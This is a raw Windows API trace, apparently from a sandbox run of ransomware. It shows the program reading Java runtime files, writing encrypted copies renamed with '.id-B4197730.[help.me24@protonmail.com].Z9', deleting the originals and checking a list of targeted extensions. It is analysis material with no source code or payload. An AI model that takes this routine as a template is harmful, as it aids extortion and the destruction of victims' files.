	[0163.267] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.267] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0163.267] lstrlenW (lpString="javaws.jar") returned 10
	[0163.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.269] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=944167) returned 1
	[0163.269] CloseHandle (hObject=0x438) returned 1
	[0163.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20
	[0163.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.270] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.270] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0163.270] GetLastError () returned 0x0
	[0163.270] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xe6827, lpOverlapped=0x0) returned 1
	[0163.629] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe6830, lpOverlapped=0x0) returned 1
	[0163.868] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.868] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0163.869] SetEndOfFile (hFile=0x3d4) returned 1
	[0164.269] CloseHandle (hObject=0x3d4) returned 1
	[0164.269] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.270] SetEndOfFile (hFile=0x438) returned 1
	[0164.292] CloseHandle (hObject=0x438) returned 1
	[0164.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.293] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1
	[0164.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.527] lstrlenW (lpString=".doc") returned 4
	[0164.527] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.527] lstrlenW (lpString=".docx") returned 5
	[0164.527] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0164.527] lstrlenW (lpString=".pdf") returned 4
	[0164.528] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString=".xls") returned 4
	[0164.528] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString=".xlsx") returned 5
	[0164.528] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0164.528] lstrlenW (lpString=".ppt") returned 4
	[0164.528] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString=".zip") returned 4
	[0164.528] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString=".rar") returned 4
	[0164.528] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString=".bz2") returned 4
	[0164.528] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.528] lstrlenW (lpString=".7z") returned 3
	[0164.528] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString=".dbf") returned 4
	[0164.528] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString=".1cd") returned 4
	[0164.528] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString=".jpg") returned 4
	[0164.528] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.528] lstrlenW (lpString=".doc") returned 4
	[0164.528] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.528] lstrlenW (lpString=".docx") returned 5
	[0164.528] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0164.528] lstrlenW (lpString=".pdf") returned 4
	[0164.528] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.528] lstrlenW (lpString=".xls") returned 4
	[0164.528] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.529] lstrlenW (lpString=".xlsx") returned 5
	[0164.529] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0164.529] lstrlenW (lpString=".ppt") returned 4
	[0164.529] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.529] lstrlenW (lpString=".zip") returned 4
	[0164.529] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.529] lstrlenW (lpString=".rar") returned 4
	[0164.529] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.529] lstrlenW (lpString=".bz2") returned 4
	[0164.529] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.529] lstrlenW (lpString=".7z") returned 3
	[0164.529] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.529] lstrlenW (lpString=".dbf") returned 4
	[0164.529] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.529] lstrlenW (lpString=".1cd") returned 4
	[0164.529] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0164.529] lstrlenW (lpString=".jpg") returned 4
	[0164.529] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.529] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".Z9") returned -1
	[0164.529] lstrlenW (lpString="meta-index") returned 10
	[0164.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.775] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2126) returned 1
	[0164.775] CloseHandle (hObject=0x44c) returned 1
	[0164.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20
	[0164.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.776] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.776] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0164.777] GetLastError () returned 0x0
	[0164.777] ReadFile (in: hFile=0x44c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x84e, lpOverlapped=0x0) returned 1
	[0164.793] WriteFile (in: hFile=0x454, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x850, lpOverlapped=0x0) returned 1
	[0164.794] ReadFile (in: hFile=0x44c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.795] WriteFile (in: hFile=0x454, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0164.795] SetEndOfFile (hFile=0x454) returned 1
	[0164.795] CloseHandle (hObject=0x454) returned 1
	[0164.795] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.795] SetEndOfFile (hFile=0x44c) returned 1
	[0164.801] CloseHandle (hObject=0x44c) returned 1
	[0164.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.802] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.803] lstrlenW (lpString=".doc") returned 4
	[0164.803] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".docx") returned 5
	[0164.803] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0164.803] lstrlenW (lpString=".pdf") returned 4
	[0164.803] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".xls") returned 4
	[0164.803] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".xlsx") returned 5
	[0164.803] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0164.803] lstrlenW (lpString=".ppt") returned 4
	[0164.803] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.803] lstrlenW (lpString=".zip") returned 4
	[0164.803] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".rar") returned 4
	[0164.803] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".bz2") returned 4
	[0164.803] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString=".7z") returned 3
	[0164.803] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.803] lstrlenW (lpString=".dbf") returned 4
	[0164.803] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.803] lstrlenW (lpString=".1cd") returned 4
	[0164.803] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0164.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".jpg") returned 4
	[0164.804] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".doc") returned 4
	[0164.804] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".docx") returned 5
	[0164.804] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0164.804] lstrlenW (lpString=".pdf") returned 4
	[0164.804] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".xls") returned 4
	[0164.804] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".xlsx") returned 5
	[0164.804] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0164.804] lstrlenW (lpString=".ppt") returned 4
	[0164.804] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".zip") returned 4
	[0164.804] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".rar") returned 4
	[0164.804] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".bz2") returned 4
	[0164.804] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString=".7z") returned 3
	[0164.804] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".dbf") returned 4
	[0164.804] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".1cd") returned 4
	[0164.804] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0164.804] lstrlenW (lpString=".jpg") returned 4
	[0164.804] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0164.805] lstrcmpiW (lpString1=".policy", lpString2=".Z9") returned -1
	[0164.805] lstrlenW (lpString="java.policy") returned 11
	[0164.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0164.952] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2466) returned 1
	[0164.952] CloseHandle (hObject=0x480) returned 1
	[0164.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20
	[0164.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0164.962] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.962] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.963] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0164.967] GetLastError () returned 0x0
	[0164.967] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x9a2, lpOverlapped=0x0) returned 1
	[0164.970] WriteFile (in: hFile=0x480, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0164.971] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.971] WriteFile (in: hFile=0x480, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xea, lpOverlapped=0x0) returned 1
	[0164.971] SetEndOfFile (hFile=0x480) returned 1
	[0164.971] CloseHandle (hObject=0x480) returned 1
	[0164.971] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.971] SetEndOfFile (hFile=0x484) returned 1
	[0164.975] CloseHandle (hObject=0x484) returned 1
	[0164.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.976] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1
	[0164.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.976] lstrlenW (lpString=".doc") returned 4
	[0164.977] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".docx") returned 5
	[0164.977] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0164.977] lstrlenW (lpString=".pdf") returned 4
	[0164.977] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".xls") returned 4
	[0164.977] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".xlsx") returned 5
	[0164.977] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0164.977] lstrlenW (lpString=".ppt") returned 4
	[0164.977] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString=".zip") returned 4
	[0164.977] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".rar") returned 4
	[0164.977] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".bz2") returned 4
	[0164.977] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".7z") returned 3
	[0164.977] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString=".dbf") returned 4
	[0164.977] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString=".1cd") returned 4
	[0164.977] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString=".jpg") returned 4
	[0164.977] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.977] lstrlenW (lpString=".doc") returned 4
	[0164.977] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0164.977] lstrlenW (lpString=".docx") returned 5
	[0164.978] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0164.978] lstrlenW (lpString=".pdf") returned 4
	[0164.978] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString=".xls") returned 4
	[0164.978] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString=".xlsx") returned 5
	[0164.978] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0164.978] lstrlenW (lpString=".ppt") returned 4
	[0164.978] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.978] lstrlenW (lpString=".zip") returned 4
	[0164.978] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString=".rar") returned 4
	[0164.978] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString=".bz2") returned 4
	[0164.978] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString=".7z") returned 3
	[0164.978] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0164.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.978] lstrlenW (lpString=".dbf") returned 4
	[0164.978] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.978] lstrlenW (lpString=".1cd") returned 4
	[0164.978] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0164.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0164.978] lstrlenW (lpString=".jpg") returned 4
	[0164.978] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0164.978] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".Z9") returned -1
	[0164.978] lstrlenW (lpString="tzmappings") returned 10
	[0164.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0164.979] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=8400) returned 1
	[0164.979] CloseHandle (hObject=0x484) returned 1
	[0164.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20
	[0164.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
